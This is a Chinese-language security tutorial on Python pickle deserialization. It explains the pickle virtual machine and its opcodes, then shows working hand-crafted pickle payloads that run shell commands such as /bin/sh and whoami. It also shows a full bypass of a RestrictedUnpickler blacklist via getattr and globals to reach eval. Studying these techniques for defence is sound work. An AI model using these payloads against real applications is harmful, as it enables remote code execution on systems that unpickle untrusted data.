浅析python反序列化
2023-3-29 23:56:0 Author: xz.aliyun.com(查看原文) 阅读量:31 收藏

python的序列化和反序列化是什么

python的序列化和反序列化 是将一个类对象向字节流转化从而进行存储 和 传输 然后使用的时候 再将字节流转化回原始的对象的一个过程

我们可以用代码 来展示出这个序列化 和反序列化 的过程

import pickle

class Person():
    def __init__(self):
        self.age=18
        self.name="Pickle"

p=Person()
opcode=pickle.dumps(p)
print(opcode)
#结果如下
#b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'


P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

#结果如下
#The age is:18 The name is:Pickle

pickle.dumps(obj[, protocol])

函数的功能:将obj对象序列化为string形式,而不是存入文件中。

   参数讲解:

obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。

pickle.loads(string)

函数的功能:从string中读出序列化前的obj对象。

string:文件名称。

参数讲解
【注】 dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。

pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

从文件中读取二进制字节流,将其反序列化为一个对象并返回。

pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

从data中读取二进制字节流,将其反序列化为一个对象并返回。

在其中 我们可以看到 我们对象的属性 name 和 age 和我们所属的类 都已经存储在里面了 首先使用了pickle.dumps()函数将一个Person对象序列化成二进制字节流的形式。然后使用pickle.loads()将一串二进制字节流反序列化为一个Person对象。

那么反序列化的代码演示如下

import pickle
class People(object):
    def __init__(self,name = "fake_s0u1"):
        self.name = name

    def say(self):
        print "Hello ! My friends"

a=People()
c=pickle.dumps(a)
d = pickle.loads(c)
d.say()

其输出就是 hello ! my friends

我们可以看出 与php的序列化 其实是大同小异的

当我们在其反序列化之前 将people删除了 那么我们在运行的过程中就会因为对象在当前的运行环境中 没有找到这个类而报错 从而反序列化失败

能够序列化的对象

在Python的官方文档中,对于能够被序列化的对象类型有详细的描述,如下

  • NoneTrueFalse
  • 整数、浮点数、复数
  • strbytebytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def定义,[lambda]() 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 dict属性值或 [__getstate__()]() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)

对于不能序列化的类型,如lambda函数,使用pickle模块时则会抛出 PicklingError`` 异常。

序列化过程:

(1)从对象提取所有属性,并将属性转化为名值对
(2)写入对象的类名
(3)写入名值对

反序列化过程:

(1)获取 pickle 输入流
(2)重建属性列表
(3)根据类名创建一个新的对象
(4)将属性复制到新的对象中

python 是如何做到序列化 和 反序列化的

几个重要函数

python为我们提供了两个比较重要的库pickle 和 cpickle 后者 是底层使用c语言书写 速度是pickle 的1000倍 但是接口相同

什么是pickle

pickle是Python中一个能够序列化和反序列化对象的模块。和其他语言类似,Python也提供了序列化和反序列化这一功能,其中一个实现模块就是pickle。在Python中,“Pickling” 是将 Python 对象及其所拥有的层次结构转化为一个二进制字节流的过程,也就是我们常说的序列化,而 “unpickling” 是相反的操作,会将字节流转化回一个对象层次结构。

当然在Python 中并不止pickle一个模块能够进行这一操作,更原始的序列化模块如marshal,同样能够完成序列化的任务,不过两者的侧重点并不相同,marshal存在主要是为了支持 Python 的.pyc文件。现在开发时一般首选pickle。

pickle实际上可以看作一种 独立的语言 ,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。

既然opcode能够执行Python代码,那自然就免不了安全问题。以下是Python在pickle文档中的警告。

序列化
pickle.dump(文件) 
pickle.dumps(字符串)

我们可以查看他的源码 写了一个while循环 用于挨个读取字符 然后将其写到dispatch之中

反序列化
pickle.load(文件)
pickle.loads(字符串)

他的底层 是通过PVM来实现的 即为python虚拟机 它是实现python序列化 和反序列化的最根本的东西

PVM的组成

他是由三个部分组成引擎(或者叫指令分析器),栈区、还有一个 Memo (可以称为标签区)

引擎的作用

从头开始读取流中的操作码和参数 并对其进行解释处理 在这个过程中 会改变栈区 和标签区 直到遇到.这个结束符后停止 处理结束之后 会到达栈顶 形成并返回反序列化的对象

栈区的作用

作为流数据处理过程中的暂存区 在不断的进出过程中 完成对数据流的反序列化 并最终在栈上生成反序列化的结果 由python的list 实现

标签区的作用

如同其名 是数据的一个索引 或者 标记 由python的dict 实现 为PVM整个生命周期提供存储

这个图片可以比较好的解释

当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes`` 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

    pickle协议是向前兼容的 ,0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以V0版本为例,介绍一下常见的opcode

注意opcode的书写规范

(1)操作码是单字节的
(2)带参数的指令用换行符定界

常用opcode几个重点关注的

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from < 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly
name op params describe e.g.
MARK ( null 向栈顶push一个MARK
STOP . null 结束
POP 0 null 丢弃栈顶第一个元素
POP_MARK 1 null 丢弃栈顶到MARK之上的第一个元素
DUP 2 null 在栈顶赋值一次栈顶元素
FLOAT F F [float] push一个float F1.0
INT I I [int] push一个integer I1
NONE N null push一个None
REDUCE R [callable] [tuple] R 调用一个callable对象 crandom\nRandom\n)R
STRING S S [string] push一个string S 'x'
UNICODE V V [unicode] push一个unicode string V 'x'
APPEND a [list] [obj] a 向列表append单个对象 ]I100\na
BUILD b [obj] [dict] b 添加实例属性(修改__dict__​) cmodule\nCls\n)R(I1\nI2\ndb
GLOBAL c c [module] [name] 调用Pickler的find_class​,导入module.name并push到栈顶 cos\nsystem\n
DICT d MARK [[k] [v]...] d 将栈顶MARK以前的元素弹出构造dict,再push回栈顶 (I0\nI1\nd
EMPTY_DICT } null push一个空dict
APPENDS e [list] MARK [obj...] e 将栈顶MARK以前的元素append到前一个的list ](I0\ne
GET g g [index] 从memo获取元素 g0
INST i MARK [args...] i [module] [cls] 构造一个类实例(其实等同于调用一个callable对象),内部调用了find_class (S'ls'\nios\nsystem\n
LIST l MARK [obj] l 将栈顶MARK以前的元素弹出构造一个list,再push回栈顶 (I0\nl
EMPTY_LIST ] null push一个空list
OBJ o MARK [callable] [args...] o 同INST,参数获取方式由readline变为stack.pop而已 (cos\nsystem\nS'ls'\no
PUT p p [index] 将栈顶元素放入memo p0
SETITEM s [dict] [k] [v] s 设置dict的键值 }I0\nI1\ns
TUPLE t MARK [obj...] t 将栈顶MARK以前的元素弹出构造tuple,再push回栈顶 (I0\nI1\nt
EMPTY_TUPLE ) null push一个空tuple
SETITEMS u [dict] MARK [[k] [v]...] u 将栈顶MARK以前的元素弹出update到前一个dict }(I0\nI1\nu

S : 后面跟的是字符串
( :作为命令执行到哪里的一个标记
t :将从 t 到标记的全部元素组合成一个元祖,然后放入栈中
c :定义模块名和类名(模块名和类名之间使用回车分隔)
R :从栈中取出可调用函数以及元祖形式的参数来执行,并把结果放回栈中
. :点号是结束符

反序列化的流程

序列化是将一个对象 转化为字符串的过程 我们通过pickle 来实现这个过程

我们举一个栗子

opcode=cos
system
(S'/bin/sh'
tR.

我们可以借助上面的操作码 来看一下这个需要怎样来执行

第一行的c 后面是模块名 换行之后是类名 于是就将os.system放入栈中

然后的( 是标记符 我们将一个标记放入栈中

S的后面是字符串 放入栈中

t将栈中标记之前的内容取出来转化成元组 再存入栈中(’/bin/sh’,)随后 标记消失

然后 R将元组取出 并将callable取出 将元组作为callable的参数 并执行 对应这里就是os.system('/bin/sh') 然后再将结果存入栈中

但是并不是所有的对象都能使用 pickle 进行序列化和反序列化,比如说 文件对象和网络套接字对象以及代码对象就不可以

pickletools

我们可以使用 pickletools模块 将opcode转化成方便我们阅读的形式

import pickletools

opcode=b'''cos
system
(S'/bin/sh'
tR.'''
pickletools.dis(opcode)
'''
输出
0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     '/bin/sh'
   23: t        TUPLE      (MARK at 11)
   24: R    REDUCE
   25: .    STOP
highest protocol among opcodes = 0
'''

与php反序列化的对比

相比于 PHP 反序列化必须要依赖于当前代码中类的存在以及方法的存在,Python 凭借着自己彻底的面向对象的特性完胜 PHP ,Python 除了能反序列化当前代码中出现的类(包括通过 import的方式引入的模块中的类)的对象以外,还能利用其彻底的面向对象的特性来反序列化使用 types 创建的匿名对象,这样的话就大大拓宽了我们的攻击面

手搓opcode

函数执行

R操作符

对应函数如下

def load_reduce(self):
        stack = self.stack
        args = stack.pop()
        func = stack[-1]
        stack[-1] = func(*args)

弹出栈作为函数执行的参数 参数需要是元组形式 随后取栈中最后一个元素作为函数 将指向结果赋值给此元素

i操作符

读取下面两行分别为module和name 然后 利用 find_class 寻找对应的方法 pop_mark 获取参数

i操作符将寻找前面的mark来闭合 中间的数据作为元组 将其作为函数参数

(X\x06\x00\x00\x00whoamiios\nsystem\n.

X向后读取四个字符串 将我们的whoami命令压入栈中 i将向后读取 模块与方法os.system 将前面的参数执行

pop_mark的代码如下

先将当前栈赋值给items 然后弹出栈内元素 随后 将这个栈赋值给当前栈 返回items

o操作码

pop_mark我们上面看到了 就是可以弹出栈内的元素 这里的args就是 先弹出栈中的一个元素作为参数 然后 再弹出第一个元素作为函数

最后 使用instantiate函数进行自执行

可以如下构造

b"(cos\nsystem\nX\x06\x00\x00\x00whoamio."

b操作符

当栈中存在__setstate__​时 会执行setstate(state) 也就是 这里我们如果自己写一个__setstate__​类 构造os.system 和 whoami即可执行命令

s字符的源码 是将

c__main__\ntest\n)\x81}X\x0c\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.

首先 搞了主函数和类 __main__​和test 随后 插入空元组和空字典 然后写入__setstate__​ c再向后读 得到os.system 字符s将第一个元素和第二个元素作为键值对 插入到第三个元素之中{__main__.test:()},__setstate__,os.system​ b字符使第一个元素出栈 也就是{'__setstate__':os.system}​ 执行一次 setstate(state) 随后插入whoami然后弹出 执行os.system(whoami)

全局引用

import secret

class Target:
    def __init__(self):
        obj = pickle.loads(ser)  # 输入点
        if obj.pwd == secret.pwd:
            print("Hello, admin!")

在这里 我们如果要绕过此处的if判断的话 我们需要如何构造呢

我们尝试构造

import pickle
import os
import pickletools

class secret:
    pwd='123'

class Target:
    def __init__(self):
        self.pwd=secret.pwd
test = Target()
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)

b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\nV123\nsb.'

在这里 我们的target刚被实例化之后 pwd就被赋值了 但其实 并不知道secret中的pwd是什么

那么我们这里就需要用到 全局引用了 在opcode中是c pickle.Unpickler().find_class(module, name)

就是导入module模块 并返回其中叫name的对象 我们尝试在原有的opcode上进行修改

在上面123的地方修改 \n是换行

b'ccopy_reg\n_reconstructor\n(c__main__\nTarget\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'

引入魔术方法

我们随便生成一个rce的payload

cposix\nsystem\n(Vwhoami\ntR.

如果R被过滤掉了 我们需要用什么来代替呢

opcode中 b的 作用是 使用栈中的第一个元素(储存多个属性名-属性值 的字典)对第二个元素(对象实例)进行属性或者方法的设置 可以设置实例的方法 那么 我们能不能设置一个方法让其在反序列化中自动运行 我们可以使用__setstate__()

当解封时,如果类定义了 __setstate__()​,就会在已解封状态下调用它。此时不要求实例的 state 对象必须是 dict。没有定义此方法的话,先前封存的 state 对象必须是 dict,且该 dict 内容会在解封时赋给新实例的 __dict__

如果 __getstate__()​ 返回 False​,那么在解封时就不会调用 __setstate__()​ 方法。

所以可以这么理解,pickle 时,Python 会封存该实例的 __getstate__​​ 方法返回给它的值;unpickle 时,Python 将 unpickle 后的值作为参数传递给实例的 _setstate_()​​ 方法。而在 _setstate_()​​ 方法内部,是按照事先自定义好的流程来重建实例。

Pker工具

这是一个 可以遍历Python AST的形式 来自动化解析 pickle opcode的工具

Pker可以做到什么

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

使用方法与实例

pker最主要的有三个函数GLOBAL()​、INST()​和OBJ()

GLOBAL('os', 'system')             =>  cos\nsystem\n
INST('os', 'system', 'ls')         =>  (S'ls'\nios\nsystem\n
OBJ(GLOBAL('os', 'system'), 'ls')  =>  (cos\nsystem\nS'ls'\no

return可以返回一个对象

return           =>  .
return var       =>  g_\n.
return 1         =>  I1\n.

当然你也可以和Python的正常语法结合起来,下面是使用示例

#pker_test.py

i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
#命令行下
$ python3 pker.py < pker_tests.py

b"I0\np0\n0S'id'\np1\n0(g0\nlp2\n0(I0\ntp3\n0(g3\nI0\ndp4\n0cos\nsystem\np5\n0g5\n(g1\ntR."

自动解析并生成了我们所需的opcode。

防御与限制

关于这个漏洞 其实 在官方的文档中 就有介绍 不要unpickle来自于不受信任 或 未经验证的来源的数据 我们在这里再介绍一种方法 通过重写Unpickler.find_class()​ 来限制全局变量

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    #重写了find_class方法
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)


###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

此处通过重写该方法 限制调用模块只能为builtins 而且 函数必须在白名单中 否则抛出异常 这种方式 限制了调用的模块函数 都在白名单内 就保证了unpickle的安全性

绕过RestrictedUnpickler限制

想要绕过find_class 我们就需要了解其 何时被调用

出于这样的理由,你可能会希望通过定制 Unpickler.find_class() 来控制要解封的对象。 与其名称所提示的不同, Unpickler.find_class() 会在执行对任何全局对象(例如一个类或一个函数)的请求时被调用 。 因此可以完全禁止全局对象或是将它们限制在一个安全的子集中。

  1. 在opcode中 ci\x93​ 这三个字节码与全局对象有关 当出现这三个字节码的时候 会调用find_class​ 当我们使用这三个字节码时不违反其限制即可
  2. find_class() 只会在解析opcode的时候调用一次 所以 只要绕过opcode执行的过程 find_class() 就不会再调用 只需要过一次 通过之后再产生的函数即使在黑名单中 也不会被拦截

绕过builtins

在一些栗子中 我们常常会见到module=="builtins" ​​这一限制

if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)

buiitins模块 在我们学习ssti的时候 也会经常见到 他就是 当我们启动python之后 即使没有创建任何的变量或者 函数 还是会有很多函数可以调用 即内置函数 内置函数 都是包含在builtins模块内的

eg.import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

以上的代码 限制了我们所使用的模块只能是builtins 而且 不能使用黑名单中的函数

思路一

我们可以借鉴python沙箱逃逸的思路 来获取我们想要的函数 以上的代码并没有禁用getattr()​ 此函数 可以获取对象的属性值 因此 我们可以通过 builtins.getattr(builtins.'eval') 来获取eval函数

接下来 我们得构造一个builtins​模块 来传给getattr的第一个参数 我们可以使用 builtins.global()​函数 来获取builtins​模块包含的内容

import builtins
print(builtins.globals())
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'builtins': <module 'builtins' (built-in)>}

从中我们可以看出 在builtins模块中 仍然包含builtins模块 因为上面 返回的是一个字典 所以 我们还需要获取get函数

所以我们最终构造的payload就是builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval')(command)

import pickle
import pickletools

opcode = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''

pickletools.dis(opcode )
print (pickle.loads(opcode))

然后 获取globals() 字典

import pickle
import pickletools

opcode = b'''cbuiltins
globals
)R.
'''
pickletools.dis(opcode)
print (pickle.loads(opcode))
   0: c    GLOBAL     'builtins globals'
   18: )    EMPTY_TUPLE
   19: R    REDUCE
   20: .    STOP
highest protocol among opcodes = 1
{'__name__': '__main__', '__doc__': None, '__package__': '', '__loader__': None, '__spec__': None, '__file__': 'c:\\Users\\zyc\\Downloads\\main.py', '__cached__': None, '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': 
True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 
'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'WindowsError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': 
<class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>,....

我们现在有了字典 又有了get函数 我们就可以从builtins模块中任意获取了

import pickle
import pickletools

opcode = b'''cbuiltins
getattr
(builtins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.'''
pickletools.dis(opcode)
print(pickle.loads(opcode))
'''
    0: c    GLOBAL     'builtins getattr'
   18: (    MARK
   19: c        GLOBAL     'builtins dict'
   34: S        STRING     'get'
   41: t        TUPLE      (MARK at 18)
   42: R    REDUCE
   43: (    MARK
   44: c        GLOBAL     'builtins globals'
   62: )        EMPTY_TUPLE
   63: R        REDUCE
   64: S        STRING     '__builtins__'
   80: t        TUPLE      (MARK at 43)
   81: R    REDUCE
   82: .    STOP
highest protocol among opcodes = 1
<module 'builtins' (built-in)>
'''

调用builtins中的eval函数

import pickle

opcode4=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.'''

print(pickle.loads(opcode4))


#<built-in function eval>

最终 我们构造命令执行

import pickle
import io
 import builtins
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()


opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

restricted_loads(opcode)
#可以成功执行whoami

以上的payload仅是一种方法 当我们想要绕过find_class​ 我们 可以先构造处沙箱逃逸的payload 然后 再根据payload构造opcode

当然 我们也可以用上面的pker来辅助我们生成opcode

思路二

在思路一种 我们通过了getattr(builtins,'eval') 来获取到了内置函数 eval getattr的第一个参数 builtins模块 是通过获取globals种的全局变量来获得的 也就是说 globals() 函数中有python中提前设置好的全局变量 包括我们import的各种模块 那么 我们是否 可以通过globals函数 来获取到pickle模块捏 在引入之后 可以看到在全局变量中 存在pickle模块

